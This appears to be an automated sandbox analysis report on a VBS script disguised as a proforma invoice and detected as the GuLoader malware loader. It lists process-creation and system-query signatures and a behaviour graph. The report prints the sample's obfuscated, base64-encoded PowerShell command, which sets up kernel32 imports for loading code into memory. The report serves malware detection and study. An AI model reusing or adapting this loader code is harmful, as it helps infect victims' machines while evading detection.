AGUAdAB0AGUAIABSAGUAZABzAGUAIABEAGkAcwBwAHUAdABkAGEAZwAgAEYAYQB1AGMAIABTAGUAbQBpACAAZwBhAGwAYQBjAHQAIABOAG8AcgBvAHAAaQBhAG4AaQBjACAATQBpAGwAbABpAHMAZQBrAHUAbgAgAEIAZQBnAHIAZQBiAHMAZAAgAEsAZABmAGEAcgAgAE0AaQBzAG8AZwB5ACAAVABvAHAAZgBvAHIAcwBwACAAQwBwAHIAZgAgAGwAaQB2AHMAYgBlAHQAaQAgAE8AcgBkAHIAZQAgAE0AbABkAGUAaQBuAG8AZABvACAARQBrAHMAYQBtAGUAbgAgAFUAZABkAGEAbgBuAGUAbABzAGUAIAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGsAeQBkADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBUAGkAbQBlAEYAbwByAG0AYQB0AHMAQQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgAsACAAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADcAKQA7AA0ACgANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUA Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAYQBwAHMAeQBrACAAQQBuAHQAaQBoACAARAB1AGQAZQBsAHMAYQBjACAAZABlAHMAdQBsACAATQB1AHIAcABoAGkAZQBkACAATQBsAGQAcgAgAEwAbwB1AHQAaABlACAAQQBjAGMAdQBtAGIAZQBuAHQAawAgAFAAZQBjAHQAbwByAGEAbABpAHMAIABEAHUAdgBlAHQAIABPAHAAcwBwAHIAdABuACAAbgBlAGQAZABpAGUAcwAgAFUAZABzAHYAaQBuAGcAIABBAG4AYQBsAHkAcwBlAGEAIABGAGEAcgBlAHMAZwBsAG8AIABEAGUAbQBhAHIAIABCAGwAdQBlAGIAZQBsACAAQwBvAHUAcgBpAGQAYQBoACAAbwBmAGYAbABpAGMAIAANAAoAIwBSAHUAbABsAGUAcwB0ACAATABhAGMAaAByAHkAbQBhAHQAIABCAGEAcgB5AHQAaAB5AG0AIABNAGEAcgBpAHMAIAB0AG8AbABzAGUAeQBrAHUAbAAgAFUAdQBkAHMAbAB1AGsAawBlACAAUwBhAHQAcwBiAGkAbABsAGUAIABBAGwAdgBpAGQAZQBuAGQAIABVAGQAZwBhAG4AZwBzAGYAbwByACAAVgBlAGQAZwBhACAARgBlAHIAaQBlAGwAdQBrAG4AIABSAGUAeQBrACAAQwBoAGEAcwBzAGUAcgAgAEUAcQB1AGEAbABsAGkAIABGAG8AcgBzAHQAZQBuACAAbQB1AHMAawBpACAAVQBuAHAAZQBlAGwAIABTAHAAZQBrAHQAYQAgAEoAdQBuAGcAbQBhAG4AZAB1AG4AIABpAG4AZAB1AGsAdAAgAEkAcwBvAGwAIABTAGsAZQBsAG4AZQBtAHIAawAgAEQAZwBuAGYAbAAgAEYAbwBsAGsAZQByAGUAIABBAGYAcABhAHMAbgAgAEQAYQBsAGwAeQAgAEwAYQBuAGQAZwBhAG4AZwBzACAASABlAG4AcgBpAGsAcwBlAG4AIABNAG8AbABiAG8AaABpAHMAIABTAGEAbgBlAHIAaQBuAGcAIABHAHIAdQB0AG4AIABTAHQAYQBrAGwAYQBkAGUAcgBuACAAQQByAGMAaAAgAA0ACgAkAEMAMwAyACAAPQAgAFsAYwBoAGEAcgBdADMANAAgACsAIAAiAFoAIgAgACsAIAAiAHcAQQAiACsAIgBsAGwAIgArACIAbwBjACIAKwAiAGEAdABlAFYAaQByACIAKwAiAHQAdQBhAGwATQAiACsAIgBlACIAKwAiAG0AIgArACIAbwByAHkAIgAgACsAIABbAGMAaABhAHIAXQAzADQADQAKACMAQwBvAG0AbQBhAG4AZABpAG4AZwAgAHUAbgBkAGUAcgBiAGUAIABBAHAAbwByAHIAIABVAG4AZgB1AHQAaQBsACAASgB1AGwAaQBhAG4AaQBzAHQAYgAgAEIAYQBnAGsAbABkAG4AaQBuAGcAIABTAGUAcgBlAG4AIABDAG8AbgB2ACAATwBzAHQAZQBvAHAAbABhACAAVQBuAHAAcgBlAGYAZQByAGEAIABTAGEAbQBtAGUAIABTAGUAbQBpAHMAcABpAHIAYQAgAFIAZQBnAGUAbgBzAGkAYQBuAGUAIABGAGUAaABzAG8AIABTAGsAbwB2ACAASwBvAG0AcABsAGUAdAB0AGUAIABSAGUAZABzAGUAIABEAGkAcwBwAHUAdABkAGEAZwAgAEYAYQB1AGMAIABTAGUAbQBpACAAZwBhAGwAYQBjAHQAIABOAG8AcgBvAHAAaQBhAG4AaQBjACAATQBpAGwAbABpAHMAZQBrAHUAbgAgAEIAZQBnAHIAZQBiAHMAZAAgAEsAZABmAGEAcgAgAE0AaQBzAG8AZwB5ACAAVABvAHAAZgBvAHIAcwBwACAAQwBwAHIAZgAgAGwAaQB2AHMAYgBlAHQAaQAgAE8AcgBkAHIAZQAgAE0AbABkAGUAaQBuAG8AZABvACAARQBrAHMAYQBtAGUAbgAgAFUAZABkAGEAbgBuAGUAbABzAGUAIAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGsAeQBkADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBUAGkAbQBlAEYAbwByAG0AYQB0AHMAQQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgAsACAAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADcAKQA7AA0ACgANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUA Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\b0raocps\b0raocps.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESED66.tmp" "c:\Users\user\AppData\Local\Temp\b0raocps\CSC533D9109F058485082AFE99DFE1364C9.TMP" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 680487 Sample: Unclear Proforma Invoice.vbs Startdate: 08/08/2022 Architecture: WINDOWS Score: 80 25 Malicious sample detected (through community Yara rule) 2->25 27 Yara detected GuLoader 2->27 29 Potential malicious VBS script found (suspicious strings) 2->29 8 wscript.exe 1 1 2->8         started        process3 dnsIp4 23 192.168.2.1 unknown unknown 8->23 31 VBScript performs obfuscated calls to suspicious functions 8->31 33 Wscript starts Powershell (via cmd or directly) 8->33 35 Very long command line found 8->35 37 Encrypted powershell cmdline option found 8->37 12 powershell.exe 24 8->12         started        signatures5 process6 process7 14 csc.exe 3 12->14         started        17 conhost.exe 12->17         started        file8 21 C:\Users\user\AppData\Local\...\b0raocps.dll, PE32 14->21 dropped 19 cvtres.exe 1 14->19         started        process9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious

Private

IP
192.168.2.1